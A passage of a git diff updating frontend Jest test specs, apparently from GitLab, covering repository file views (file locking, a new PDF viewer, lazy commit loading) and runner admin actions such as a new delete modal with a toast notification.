tooltipplacement="top"
+ variant="default"
/>
</gl-button-group-stub>
</div>
@@ -108,7 +109,7 @@ exports[`Repository last commit component renders commit widget 1`] = `
exports[`Repository last commit component renders the signature HTML as returned by the backend 1`] = `
<div
- class="info-well d-none d-sm-flex project-last-commit commit p-3"
+ class="well-segment commit gl-p-5 gl-w-full"
>
<user-avatar-link-stub
class="avatar-cell"
@@ -209,6 +210,7 @@ exports[`Repository last commit component renders the signature HTML as returned
text="123456789"
title="Copy commit SHA"
tooltipplacement="top"
+ variant="default"
/>
</gl-button-group-stub>
</div>
diff --git a/spec/frontend/repository/components/blob_button_group_spec.js b/spec/frontend/repository/components/blob_button_group_spec.js
index f2a3354f204..9f9d574a8ed 100644
--- a/spec/frontend/repository/components/blob_button_group_spec.js
+++ b/spec/frontend/repository/components/blob_button_group_spec.js
@@ -9,6 +9,7 @@ const DEFAULT_PROPS = {
name: 'some name',
path: 'some/path',
canPushCode: true,
+ canPushToBranch: true,
replacePath: 'some/replace/path',
deletePath: 'some/delete/path',
emptyRepo: false,
diff --git a/spec/frontend/repository/components/blob_content_viewer_spec.js b/spec/frontend/repository/components/blob_content_viewer_spec.js
index d40e97bf5a3..9e00a2d0408 100644
--- a/spec/frontend/repository/components/blob_content_viewer_spec.js
+++ b/spec/frontend/repository/components/blob_content_viewer_spec.js
@@ -15,7 +15,7 @@ import ForkSuggestion from '~/repository/components/fork_suggestion.vue';
import { loadViewer, viewerProps } from '~/repository/components/blob_viewers';
import DownloadViewer from '~/repository/components/blob_viewers/download_viewer.vue';
import EmptyViewer from '~/repository/components/blob_viewers/empty_viewer.vue';
-import TextViewer from '~/repository/components/blob_viewers/text_viewer.vue';
+import SourceViewer from '~/vue_shared/components/source_viewer.vue';
import blobInfoQuery from '~/repository/queries/blob_info.query.graphql';
import { redirectTo } from '~/lib/utils/url_utility';
import { isLoggedIn } from '~/lib/utils/common_utils';
@@ -98,7 +98,7 @@ describe('Blob content viewer component', () => {
const findForkSuggestion = () => wrapper.findComponent(ForkSuggestion);
beforeEach(() => {
- gon.features = { refactorTextViewer: true };
+ gon.features = { highlightJs: true };
isLoggedIn.mockReturnValue(true);
});
@@ -215,7 +215,7 @@ describe('Blob content viewer component', () => {
viewer | loadViewerReturnValue | viewerPropsReturnValue
${'empty'} | ${EmptyViewer} | ${{}}
${'download'} | ${DownloadViewer} | ${{ filePath: '/some/file/path', fileName: 'test.js', fileSize: 100 }}
- ${'text'} | ${TextViewer} | ${{ content: 'test', fileName: 'test.js', readOnly: true }}
+ ${'text'} | ${SourceViewer} | ${{ content: 'test', autoDetect: true }}
`(
'renders viewer component for $viewer files',
async ({ viewer, loadViewerReturnValue, viewerPropsReturnValue }) => {
@@ -318,8 +318,14 @@ describe('Blob content viewer component', () => {
repository: { empty },
} = projectMock;
+ afterEach(() => {
+ delete gon.current_user_id;
+ delete gon.current_username;
+ });
+
it('renders component', async () => {
window.gon.current_user_id = 1;
+ window.gon.current_username = 'root';
await createComponent({ pushCode, downloadCode, empty }, mount);
@@ -330,28 +336,34 @@ describe('Blob content viewer component', () => {
deletePath: webPath,
canPushCode: pushCode,
canLock: true,
- isLocked: false,
+ isLocked: true,
emptyRepo: empty,
});
});
it.each`
- canPushCode | canDownloadCode | canLock
- ${true} | ${true} | ${true}
- ${false} | ${true} | ${false}
- ${true} | ${false} | ${false}
- `('passes the correct lock states', async ({ canPushCode, canDownloadCode, canLock }) => {
- await createComponent(
- {
- pushCode: canPushCode,
- downloadCode: canDownloadCode,
- empty,
- },
- mount,
- );
+ canPushCode | canDownloadCode | username | canLock
+ ${true} | ${true} | ${'root'} | ${true}
+ ${false} | ${true} | ${'root'} | ${false}
+ ${true} | ${false} | ${'root'} | ${false}
+ ${true} | ${true} | ${'peter'} | ${false}
+ `(
+ 'passes the correct lock states',
+ async ({ canPushCode, canDownloadCode, username, canLock }) => {
+ gon.current_username = username;
+
+ await createComponent(
+ {
+ pushCode: canPushCode,
+ downloadCode: canDownloadCode,
+ empty,
+ },
+ mount,
+ );
- expect(findBlobButtonGroup().props('canLock')).toBe(canLock);
- });
+ expect(findBlobButtonGroup().props('canLock')).toBe(canLock);
+ },
+ );
it('does not render if not logged in', async () => {
isLoggedIn.mockReturnValueOnce(false);
diff --git a/spec/frontend/repository/components/blob_viewers/pdf_viewer_spec.js b/spec/frontend/repository/components/blob_viewers/pdf_viewer_spec.js
new file mode 100644
index 00000000000..fd910002529
--- /dev/null
+++ b/spec/frontend/repository/components/blob_viewers/pdf_viewer_spec.js
@@ -0,0 +1,59 @@
+import { GlButton } from '@gitlab/ui';
+import Component from '~/repository/components/blob_viewers/pdf_viewer.vue';
+import PdfViewer from '~/blob/pdf/pdf_viewer.vue';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+
+describe('PDF Viewer', () => {
+ let wrapper;
+
+ const defaultPropsData = { url: 'some/pdf_blob.pdf' };
+
+ const createComponent = (fileSize = 999) => {
+ wrapper = shallowMountExtended(Component, { propsData: { ...defaultPropsData, fileSize } });
+ };
+
+ const findPDFViewer = () => wrapper.findComponent(PdfViewer);
+ const findHelpText = () => wrapper.find('p');
+ const findDownLoadButton = () => wrapper.findComponent(GlButton);
+
+ it('renders a PDF Viewer component', () => {
+ createComponent();
+
+ expect(findPDFViewer().exists()).toBe(true);
+ expect(findPDFViewer().props('pdf')).toBe(defaultPropsData.url);
+ });
+
+ describe('Too large', () => {
+ beforeEach(() => createComponent(20000000));
+
+ it('does not a PDF Viewer component', () => {
+ expect(findPDFViewer().exists()).toBe(false);
+ });
+
+ it('renders help text', () => {
+ expect(findHelpText().text()).toBe(
+ 'This PDF is too large to display. Please download to view.',
+ );
+ });
+
+ it('renders a download button', () => {
+ expect(findDownLoadButton().text()).toBe('Download PDF');
+ expect(findDownLoadButton().props('icon')).toBe('download');
+ });
+ });
+
+ describe('Too many pages', () => {
+ beforeEach(() => {
+ createComponent();
+ findPDFViewer().vm.$emit('pdflabload', 100);
+ });
+
+ it('does not a PDF Viewer component', () => {
+ expect(findPDFViewer().exists()).toBe(false);
+ });
+
+ it('renders a download button', () => {
+ expect(findDownLoadButton().exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/repository/components/blob_viewers/text_viewer_spec.js b/spec/frontend/repository/components/blob_viewers/text_viewer_spec.js
deleted file mode 100644
index 88c5bee6564..00000000000
--- a/spec/frontend/repository/components/blob_viewers/text_viewer_spec.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import waitForPromises from 'helpers/wait_for_promises';
-import TextViewer from '~/repository/components/blob_viewers/text_viewer.vue';
-import SourceEditor from '~/vue_shared/components/source_editor.vue';
-
-describe('Text Viewer', () => {
- let wrapper;
- const propsData = {
- content: 'Some content',
- fileName: 'file_name.js',
- readOnly: true,
- };
-
- const createComponent = () => {
- wrapper = shallowMount(TextViewer, { propsData });
- };
-
- const findEditor = () => wrapper.findComponent(SourceEditor);
-
- it('renders a Source Editor component', async () => {
- createComponent();
-
- await waitForPromises();
-
- expect(findEditor().exists()).toBe(true);
- expect(findEditor().props('value')).toBe(propsData.content);
- expect(findEditor().props('fileName')).toBe(propsData.fileName);
- expect(findEditor().props('editorOptions')).toEqual({ readOnly: propsData.readOnly });
- });
-});
diff --git a/spec/frontend/repository/components/delete_blob_modal_spec.js b/spec/frontend/repository/components/delete_blob_modal_spec.js
index 2c62868f391..785783b2e75 100644
--- a/spec/frontend/repository/components/delete_blob_modal_spec.js
+++ b/spec/frontend/repository/components/delete_blob_modal_spec.js
@@ -13,6 +13,7 @@ const initialProps = {
targetBranch: 'some-target-branch',
originalBranch: 'main',
canPushCode: true,
+ canPushToBranch: true,
emptyRepo: false,
};
@@ -103,22 +104,25 @@ describe('DeleteBlobModal', () => {
);
it.each`
- input | value | emptyRepo | canPushCode | exist
- ${'authenticity_token'} | ${'mock-csrf-token'} | ${false} | ${true} | ${true}
- ${'authenticity_token'} | ${'mock-csrf-token'} | ${true} | ${false} | ${true}
- ${'_method'} | ${'delete'} | ${false} | ${true} | ${true}
- ${'_method'} | ${'delete'} | ${true} | ${false} | ${true}
- ${'original_branch'} | ${initialProps.originalBranch} | ${false} | ${true} | ${true}
- ${'original_branch'} | ${undefined} | ${true} | ${true} | ${false}
- ${'create_merge_request'} | ${'1'} | ${false} | ${false} | ${true}
- ${'create_merge_request'} | ${'1'} | ${false} | ${true} | ${true}
- ${'create_merge_request'} | ${undefined} | ${true} | ${false} | ${false}
+ input | value | emptyRepo | canPushCode | canPushToBranch | exist
+ ${'authenticity_token'} | ${'mock-csrf-token'} | ${false} | ${true} | ${true} | ${true}
+ ${'authenticity_token'} | ${'mock-csrf-token'} | ${true} | ${false} | ${true} | ${true}
+ ${'_method'} | ${'delete'} | ${false} | ${true} | ${true} | ${true}
+ ${'_method'} | ${'delete'} | ${true} | ${false} | ${true} | ${true}
+ ${'original_branch'} | ${initialProps.originalBranch} | ${false} | ${true} | ${true} | ${true}
+ ${'original_branch'} | ${undefined} | ${true} | ${true} | ${true} | ${false}
+ ${'create_merge_request'} | ${'1'} | ${false} | ${false} | ${true} | ${true}
+ ${'create_merge_request'} | ${'1'} | ${false} | ${true} | ${true} | ${true}
+ ${'create_merge_request'} | ${'1'} | ${false} | ${false} | ${false} | ${true}
+ ${'create_merge_request'} | ${'1'} | ${false} | ${false} | ${true} | ${true}
+ ${'create_merge_request'} | ${undefined} | ${true} | ${false} | ${true} | ${false}
`(
'passes $input as a hidden input with the correct value',
- ({ input, value, emptyRepo, canPushCode, exist }) => {
+ ({ input, value, emptyRepo, canPushCode, canPushToBranch, exist }) => {
createComponent({
emptyRepo,
canPushCode,
+ canPushToBranch,
});
const inputMethod = findForm().find(`input[name="${input}"]`);
diff --git a/spec/frontend/repository/components/table/row_spec.js b/spec/frontend/repository/components/table/row_spec.js
index 76e9f7da011..7f59dbfe0d1 100644
--- a/spec/frontend/repository/components/table/row_spec.js
+++ b/spec/frontend/repository/components/table/row_spec.js
@@ -4,6 +4,7 @@ import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import TableRow from '~/repository/components/table/row.vue';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import { FILE_SYMLINK_MODE } from '~/vue_shared/constants';
+import { ROW_APPEAR_DELAY } from '~/repository/constants';
const COMMIT_MOCK = { lockLabel: 'Locked by Root', committedDate: '2019-01-01' };
@@ -17,12 +18,12 @@ function factory(propsData = {}) {
vm = shallowMount(TableRow, {
propsData: {
+ commitInfo: COMMIT_MOCK,
...propsData,
name: propsData.path,
projectPath: 'gitlab-org/gitlab-ce',
url: `https://test.com`,
totalEntries: 10,
- commitInfo: COMMIT_MOCK,
rowNumber: 123,
},
directives: {
@@ -251,6 +252,8 @@ describe('Repository table row component', () => {
});
describe('row visibility', () => {
+ beforeAll(() => jest.useFakeTimers());
+
beforeEach(() => {
factory({
id: '1',
@@ -258,18 +261,20 @@ describe('Repository table row component', () => {
path: 'test',
type: 'tree',
currentPath: '/',
+ commitInfo: null,
});
});
- it('emits a `row-appear` event', () => {
+
+ afterAll(() => jest.useRealTimers());
+
+ it('emits a `row-appear` event', async () => {
findIntersectionObserver().vm.$emit('appear');
- expect(vm.emitted('row-appear')).toEqual([
- [
- {
- hasCommit: true,
- rowNumber: 123,
- },
- ],
- ]);
+
+ jest.runAllTimers();
+
+ expect(setTimeout).toHaveBeenCalledTimes(1);
+ expect(setTimeout).toHaveBeenLastCalledWith(expect.any(Function), ROW_APPEAR_DELAY);
+ expect(vm.emitted('row-appear')).toEqual([[123]]);
});
});
});
diff --git a/spec/frontend/repository/components/tree_content_spec.js b/spec/frontend/repository/components/tree_content_spec.js
index 49397c77215..9c5d07eede3 100644
--- a/spec/frontend/repository/components/tree_content_spec.js
+++ b/spec/frontend/repository/components/tree_content_spec.js
@@ -2,7 +2,7 @@ import { shallowMount } from '@vue/test-utils';
import paginatedTreeQuery from 'shared_queries/repository/paginated_tree.query.graphql';
import FilePreview from '~/repository/components/preview/index.vue';
import FileTable from '~/repository/components/table/index.vue';
-import TreeContent from '~/repository/components/tree_content.vue';
+import TreeContent from 'jh_else_ce/repository/components/tree_content.vue';
import { loadCommits, isRequested, resetRequestedCommits } from '~/repository/commits_service';
jest.mock('~/repository/commits_service', () => ({
@@ -190,14 +190,28 @@ describe('Repository table component', () => {
});
});
- it('loads commit data when row-appear event is emitted', () => {
+ describe('commit data', () => {
const path = 'some/path';
- const rowNumber = 1;
- factory(path);
- findFileTable().vm.$emit('row-appear', { hasCommit: false, rowNumber });
+ it('loads commit data for both top and bottom batches when row-appear event is emitted', () => {
+ const rowNumber = 50;
- expect(isRequested).toHaveBeenCalledWith(rowNumber);
- expect(loadCommits).toHaveBeenCalledWith('', path, '', rowNumber);
+ factory(path);
+ findFileTable().vm.$emit('row-appear', rowNumber);
+
+ expect(isRequested).toHaveBeenCalledWith(rowNumber);
+
+ expect(loadCommits.mock.calls).toEqual([
+ ['', path, '', rowNumber],
+ ['', path, '', rowNumber - 25],
+ ]);
+ });
+
+ it('loads commit data once if rowNumber is zero', () => {
+ factory(path);
+ findFileTable().vm.$emit('row-appear', 0);
+
+ expect(loadCommits.mock.calls).toEqual([['', path, '', 0]]);
+ });
});
});
diff --git a/spec/frontend/repository/components/upload_blob_modal_spec.js b/spec/frontend/repository/components/upload_blob_modal_spec.js
index 36847107558..e9dfa3cd495 100644
--- a/spec/frontend/repository/components/upload_blob_modal_spec.js
+++ b/spec/frontend/repository/components/upload_blob_modal_spec.js
@@ -212,8 +212,8 @@ describe('UploadBlobModal', () => {
createComponent();
});
- it('displays the default "Upload New File" modal title ', () => {
- expect(findModal().props('title')).toBe('Upload New File');
+ it('displays the default "Upload new file" modal title ', () => {
+ expect(findModal().props('title')).toBe('Upload new file');
});
it('display the defaul primary button text', () => {
diff --git a/spec/frontend/repository/mock_data.js b/spec/frontend/repository/mock_data.js
index adf5991ac3c..74d35daf578 100644
--- a/spec/frontend/repository/mock_data.js
+++ b/spec/frontend/repository/mock_data.js
@@ -1,4 +1,5 @@
export const simpleViewerMock = {
+ id: '1',
name: 'some_file.js',
size: 123,
rawSize: 123,
@@ -11,6 +12,7 @@ export const simpleViewerMock = {
forkAndEditPath: 'some_file.js/fork/edit',
ideForkAndEditPath: 'some_file.js/fork/ide',
canModifyBlob: true,
+ canCurrentUserPushToBranch: true,
storedExternally: false,
rawPath: 'some_file.js',
replacePath: 'some_file.js/replace',
@@ -45,7 +47,13 @@ export const projectMock = {
id: '1234',
userPermissions: userPermissionsMock,
pathLocks: {
- nodes: [],
+ nodes: [
+ {
+ id: 'test',
+ path: simpleViewerMock.path,
+ user: { id: '123', username: 'root' },
+ },
+ ],
},
repository: {
empty: false,
diff --git a/spec/frontend/runner/admin_runners/admin_runners_app_spec.js b/spec/frontend/runner/admin_runners/admin_runners_app_spec.js
index 7eda9aa2850..7015fe809b0 100644
--- a/spec/frontend/runner/admin_runners/admin_runners_app_spec.js
+++ b/spec/frontend/runner/admin_runners/admin_runners_app_spec.js
@@ -147,7 +147,7 @@ describe('AdminRunnersApp', () => {
}),
expect.objectContaining({
type: PARAM_KEY_TAG,
- recentTokenValuesStorageKey: `${ADMIN_FILTERED_SEARCH_NAMESPACE}-recent-tags`,
+ recentSuggestionsStorageKey: `${ADMIN_FILTERED_SEARCH_NAMESPACE}-recent-tags`,
}),
]);
});
@@ -155,9 +155,7 @@ describe('AdminRunnersApp', () => {
it('shows the active runner count', () => {
createComponent({ mountFn: mount });
- expect(findRunnerFilteredSearchBar().text()).toMatch(
- `Runners currently online: ${mockActiveRunnersCount}`,
- );
+ expect(wrapper.text()).toMatch(new RegExp(`Online Runners ${mockActiveRunnersCount}`));
});
describe('when a filter is preselected', () => {
diff --git a/spec/frontend/runner/components/cells/runner_actions_cell_spec.js b/spec/frontend/runner/components/cells/runner_actions_cell_spec.js
index 2874bdbe280..95c212cb0a9 100644
--- a/spec/frontend/runner/components/cells/runner_actions_cell_spec.js
+++ b/spec/frontend/runner/components/cells/runner_actions_cell_spec.js
@@ -3,13 +3,17 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import createFlash from '~/flash';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+
+import { captureException } from '~/runner/sentry_utils';
import RunnerActionCell from '~/runner/components/cells/runner_actions_cell.vue';
+import RunnerDeleteModal from '~/runner/components/runner_delete_modal.vue';
import getGroupRunnersQuery from '~/runner/graphql/get_group_runners.query.graphql';
import getRunnersQuery from '~/runner/graphql/get_runners.query.graphql';
import runnerDeleteMutation from '~/runner/graphql/runner_delete.mutation.graphql';
import runnerActionsUpdateMutation from '~/runner/graphql/runner_actions_update.mutation.graphql';
-import { captureException } from '~/runner/sentry_utils';
import { runnersData } from '../../mock_data';
const mockRunner = runnersData.data.runners.nodes[0];
@@ -25,12 +29,16 @@ jest.mock('~/runner/sentry_utils');
describe('RunnerTypeCell', () => {
let wrapper;
+
+ const mockToastShow = jest.fn();
const runnerDeleteMutationHandler = jest.fn();
const runnerActionsUpdateMutationHandler = jest.fn();
const findEditBtn = () => wrapper.findByTestId('edit-runner');
const findToggleActiveBtn = () => wrapper.findByTestId('toggle-active-runner');
+ const findRunnerDeleteModal = () => wrapper.findComponent(RunnerDeleteModal);
const findDeleteBtn = () => wrapper.findByTestId('delete-runner');
+ const getTooltip = (w) => getBinding(w.element, 'gl-tooltip')?.value;
const createComponent = ({ active = true } = {}, options) => {
wrapper = extendedWrapper(
@@ -38,6 +46,7 @@ describe('RunnerTypeCell', () => {
propsData: {
runner: {
id: mockRunner.id,
+ shortSha: mockRunner.shortSha,
adminUrl: mockRunner.adminUrl,
active,
},
@@ -47,6 +56,15 @@ describe('RunnerTypeCell', () => {
[runnerDeleteMutation, runnerDeleteMutationHandler],
[runnerActionsUpdateMutation, runnerActionsUpdateMutationHandler],
]),
+ directives: {
+ GlTooltip: createMockDirective(),
+ GlModal: createMockDirective(),
+ },
+ mocks: {
+ $toast: {
+ show: mockToastShow,
+ },
+ },
...options,
}),
);
@@ -72,197 +90,85 @@ describe('RunnerTypeCell', () => {
});
afterEach(() => {
+ mockToastShow.mockReset();
runnerDeleteMutationHandler.mockReset();
runnerActionsUpdateMutationHandler.mockReset();
wrapper.destroy();
});
- it('Displays the runner edit link with the correct href', () => {
- createComponent();
-
- expect(findEditBtn().attributes('href')).toBe(mockRunner.adminUrl);
- });
-
- describe.each`
- state | label | icon | isActive | newActiveValue
- ${'active'} | ${'Pause'} | ${'pause'} | ${true} | ${false}
- ${'paused'} | ${'Resume'} | ${'play'} | ${false} | ${true}
- `('When the runner is $state', ({ label, icon, isActive, newActiveValue }) => {
- beforeEach(() => {
- createComponent({ active: isActive });
- });
-
- it(`Displays a ${icon} button`, () => {
- expect(findToggleActiveBtn().props('loading')).toBe(false);
- expect(findToggleActiveBtn().props('icon')).toBe(icon);
- expect(findToggleActiveBtn().attributes('title')).toBe(label);
- expect(findToggleActiveBtn().attributes('aria-label')).toBe(label);
- });
-
- it(`After clicking the ${icon} button, the button has a loading state`, async () => {
- await findToggleActiveBtn().vm.$emit('click');
-
- expect(findToggleActiveBtn().props('loading')).toBe(true);
- });
-
- it(`After the ${icon} button is clicked, stale tooltip is removed`, async () => {
- await findToggleActiveBtn().vm.$emit('click');
+ describe('Edit Action', () => {
+ it('Displays the runner edit link with the correct href', () => {
+ createComponent();
- expect(findToggleActiveBtn().attributes('title')).toBe('');
- expect(findToggleActiveBtn().attributes('aria-label')).toBe('');
+ expect(findEditBtn().attributes('href')).toBe(mockRunner.adminUrl);
});
+ });
- describe(`When clicking on the ${icon} button`, () => {
- it(`The apollo mutation to set active to ${newActiveValue} is called`, async () => {
- expect(runnerActionsUpdateMutationHandler).toHaveBeenCalledTimes(0);
-
- await findToggleActiveBtn().vm.$emit('click');
+ describe('Toggle active action', () => {
+ describe.each`
+ state | label | icon | isActive | newActiveValue
+ ${'active'} | ${'Pause'} | ${'pause'} | ${true} | ${false}
+ ${'paused'} | ${'Resume'} | ${'play'} | ${false} | ${true}
+ `('When the runner is $state', ({ label, icon, isActive, newActiveValue }) => {
+ beforeEach(() => {
+ createComponent({ active: isActive });
+ });
- expect(runnerActionsUpdateMutationHandler).toHaveBeenCalledTimes(1);
- expect(runnerActionsUpdateMutationHandler).toHaveBeenCalledWith({
- input: {
- id: mockRunner.id,
- active: newActiveValue,
- },
- });
+ it(`Displays a ${icon} button`, () => {
+ expect(findToggleActiveBtn().props('loading')).toBe(false);
+ expect(findToggleActiveBtn().props('icon')).toBe(icon);
+ expect(getTooltip(findToggleActiveBtn())).toBe(label);
+ expect(findToggleActiveBtn().attributes('aria-label')).toBe(label);
});
- it('The button does not have a loading state after the mutation occurs', async () => {
+ it(`After clicking the ${icon} button, the button has a loading state`, async () => {
await findToggleActiveBtn().vm.$emit('click');
expect(findToggleActiveBtn().props('loading')).toBe(true);
-
- await waitForPromises();
-
- expect(findToggleActiveBtn().props('loading')).toBe(false);
});
- });
- describe('When update fails', () => {
- describe('On a network error', () => {
- const mockErrorMsg = 'Update error!';
-
- beforeEach(async () => {
- runnerActionsUpdateMutationHandler.mockRejectedValueOnce(new Error(mockErrorMsg));
-
- await findToggleActiveBtn().vm.$emit('click');
- });
-
- it('error is reported to sentry', () => {
- expect(captureException).toHaveBeenCalledWith({
- error: new Error(`Network error: ${mockErrorMsg}`),
- component: 'RunnerActionsCell',
- });
- });
+ it(`After the ${icon} button is clicked, stale tooltip is removed`, async () => {
+ await findToggleActiveBtn().vm.$emit('click');
- it('error is shown to the user', () => {
- expect(createFlash).toHaveBeenCalledTimes(1);
- });
+ expect(getTooltip(findToggleActiveBtn())).toBe('');
+ expect(findToggleActiveBtn().attributes('aria-label')).toBe('');
});
- describe('On a validation error', () => {
- const mockErrorMsg = 'Runner not found!';
- const mockErrorMsg2 = 'User not allowed!';
-
- beforeEach(async () => {
- runnerActionsUpdateMutationHandler.mockResolvedValue({
- data: {
- runnerUpdate: {
- runner: mockRunner,
- errors: [mockErrorMsg, mockErrorMsg2],
- },
- },
- });
+ describe(`When clicking on the ${icon} button`, () => {
+ it(`The apollo mutation to set active to ${newActiveValue} is called`, async () => {
+ expect(runnerActionsUpdateMutationHandler).toHaveBeenCalledTimes(0);
await findToggleActiveBtn().vm.$emit('click');
- });
-
- it('error is reported to sentry', () => {
- expect(captureException).toHaveBeenCalledWith({
- error: new Error(`${mockErrorMsg} ${mockErrorMsg2}`),
- component: 'RunnerActionsCell',
- });
- });
- it('error is shown to the user', () => {
- expect(createFlash).toHaveBeenCalledTimes(1);
- });
- });
- });
- });
-
- describe('When the user clicks a runner', () => {
- beforeEach(() => {
- jest.spyOn(window, 'confirm');
-
- createComponent();
- });
-
- afterEach(() => {
- window.confirm.mockRestore();
- });
-
- describe('When the user confirms deletion', () => {
- beforeEach(async () => {
- window.confirm.mockReturnValue(true);
- await findDeleteBtn().vm.$emit('click');
- });
-
- it('The user sees a confirmation alert', () => {
- expect(window.confirm).toHaveBeenCalledTimes(1);
- expect(window.confirm).toHaveBeenCalledWith(expect.any(String));
- });
-
- it('The delete mutation is called correctly', () => {
- expect(runnerDeleteMutationHandler).toHaveBeenCalledTimes(1);
- expect(runnerDeleteMutationHandler).toHaveBeenCalledWith({
- input: { id: mockRunner.id },
- });
- });
-
- it('When delete mutation is called, current runners are refetched', async () => {
- jest.spyOn(wrapper.vm.$apollo, 'mutate');
-
- await findDeleteBtn().vm.$emit('click');
-
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
- mutation: runnerDeleteMutation,
- variables: {
+ expect(runnerActionsUpdateMutationHandler).toHaveBeenCalledTimes(1);
+ expect(runnerActionsUpdateMutationHandler).toHaveBeenCalledWith({
input: {
id: mockRunner.id,
+ active: newActiveValue,
},
- },
- awaitRefetchQueries: true,
- refetchQueries: [getRunnersQueryName, getGroupRunnersQueryName],
+ });
});
- });
-
- it('The delete button does not have a loading state', () => {
- expect(findDeleteBtn().props('loading')).toBe(false);
- expect(findDeleteBtn().attributes('title')).toBe('Remove');
- });
- it('After the delete button is clicked, loading state is shown', async () => {
- await findDeleteBtn().vm.$emit('click');
+ it('The button does not have a loading state after the mutation occurs', async () => {
+ await findToggleActiveBtn().vm.$emit('click');
- expect(findDeleteBtn().props('loading')).toBe(true);
- });
+ expect(findToggleActiveBtn().props('loading')).toBe(true);
- it('After the delete button is clicked, stale tooltip is removed', async () => {
- await findDeleteBtn().vm.$emit('click');
+ await waitForPromises();
- expect(findDeleteBtn().attributes('title')).toBe('');
+ expect(findToggleActiveBtn().props('loading')).toBe(false);
+ });
});
- describe('When delete fails', () => {
+ describe('When update fails', () => {
describe('On a network error', () => {
- const mockErrorMsg = 'Delete error!';
+ const mockErrorMsg = 'Update error!';
beforeEach(async () => {
- runnerDeleteMutationHandler.mockRejectedValueOnce(new Error(mockErrorMsg));
+ runnerActionsUpdateMutationHandler.mockRejectedValueOnce(new Error(mockErrorMsg));
- await findDeleteBtn().vm.$emit('click');
+ await findToggleActiveBtn().vm.$emit('click');
});
it('error is reported to sentry', () => {
@@ -282,15 +188,16 @@ describe('RunnerTypeCell', () => {
const mockErrorMsg2 = 'User not allowed!';
beforeEach(async () => {
- runnerDeleteMutationHandler.mockResolvedValue({
+ runnerActionsUpdateMutationHandler.mockResolvedValue({
data: {
- runnerDelete: {
+ runnerUpdate: {
+ runner: mockRunner,
errors: [mockErrorMsg, mockErrorMsg2],
},
},
});
- await findDeleteBtn().vm.$emit('click');
+ await findToggleActiveBtn().vm.$emit('click');
});
it('error is reported to sentry', () => {
@@ -306,24 +213,129 @@ describe('RunnerTypeCell', () => {
});
});
});
+ });
- describe('When the user does not confirm deletion', () => {
- beforeEach(async () => {
- window.confirm.mockReturnValue(false);
- await findDeleteBtn().vm.$emit('click');
+ describe('Delete action', () => {
+ beforeEach(() => {
+ createComponent(
+ {},
+ {
+ stubs: { RunnerDeleteModal },
+ },
+ );
+ });
+
+ it('Delete button opens delete modal', () => {
+ const modalId = getBinding(findDeleteBtn().element, 'gl-modal').value;
+
+ expect(findRunnerDeleteModal().attributes('modal-id')).toBeDefined();
+ expect(findRunnerDeleteModal().attributes('modal-id')).toBe(modalId);
+ });
+
+ it('Delete modal shows the runner name', () => {
+ expect(findRunnerDeleteModal().props('runnerName')).toBe(
+ `#${getIdFromGraphQLId(mockRunner.id)} (${mockRunner.shortSha})`,
+ );
+ });
+ it('The delete button does not have a loading icon', () => {
+ expect(findDeleteBtn().props('loading')).toBe(false);
+ expect(getTooltip(findDeleteBtn())).toBe('Delete runner');
+ });
+
+ it('When delete mutation is called, current runners are refetched', () => {
+ jest.spyOn(wrapper.vm.$apollo, 'mutate');
+
+ findRunnerDeleteModal().vm.$emit('primary');
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: runnerDeleteMutation,
+ variables: {
+ input: {
+ id: mockRunner.id,
+ },
+ },
+ awaitRefetchQueries: true,
+ refetchQueries: [getRunnersQueryName, getGroupRunnersQueryName],
});
+ });
- it('The user sees a confirmation alert', () => {
- expect(window.confirm).toHaveBeenCalledTimes(1);
+ describe('When delete is clicked', () => {
+ beforeEach(() => {
+ findRunnerDeleteModal().vm.$emit('primary');
});
- it('The delete mutation is not called', () => {
- expect(runnerDeleteMutationHandler).toHaveBeenCalledTimes(0);
+ it('The delete mutation is called correctly', () => {
+ expect(runnerDeleteMutationHandler).toHaveBeenCalledTimes(1);
+ expect(runnerDeleteMutationHandler).toHaveBeenCalledWith({
+ input: { id: mockRunner.id },
+ });
});
- it('The delete button does not have a loading state', () => {
- expect(findDeleteBtn().props('loading')).toBe(false);
- expect(findDeleteBtn().attributes('title')).toBe('Remove');
+ it('The delete button has a loading icon', () => {
+ expect(findDeleteBtn().props('loading')).toBe(true);
+ expect(getTooltip(findDeleteBtn())).toBe('');
+ });
+
+ it('The toast notification is shown', () => {
+ expect(mockToastShow).toHaveBeenCalledTimes(1);
+ expect(mockToastShow).toHaveBeenCalledWith(
+ expect.stringContaining(`#${getIdFromGraphQLId(mockRunner.id)} (${mockRunner.shortSha})`),
+ );
+ });
+ });
+
+ describe('When delete fails', () => {
+ describe('On a network error', () => {
+ const mockErrorMsg = 'Delete error!';
+
+ beforeEach(() => {
+ runnerDeleteMutationHandler.mockRejectedValueOnce(new Error(mockErrorMsg));
+
+ findRunnerDeleteModal().vm.$emit('primary');
+ });
+
+ it('error is reported to sentry', () => {
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error(`Network error: ${mockErrorMsg}`),
+ component: 'RunnerActionsCell',
+ });
+ });
+
+ it('error is shown to the user', () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ });
+
+ it('toast notification is not shown', () => {
+ expect(mockToastShow).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('On a validation error', () => {
+ const mockErrorMsg = 'Runner not found!';
+ const mockErrorMsg2 = 'User not allowed!';
+
+ beforeEach(() => {
+ runnerDeleteMutationHandler.mockResolvedValue({
+ data: {
+ runnerDelete: {
+ errors: [mockErrorMsg, mockErrorMsg2],
+ },
+ },
+ });
+
+ findRunnerDeleteModal().vm.$emit('primary');
+ });
+
+ it('error is reported to sentry', () => {
+ expect(captureException).toHaveBeenCalledWith({
+ error: new Error(`${mockErrorMsg} ${mockErrorMsg2}`),
+ component: 'RunnerActionsCell',
+ });
+ });
+
+ it('error is shown to the user', () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ });
});
});
});
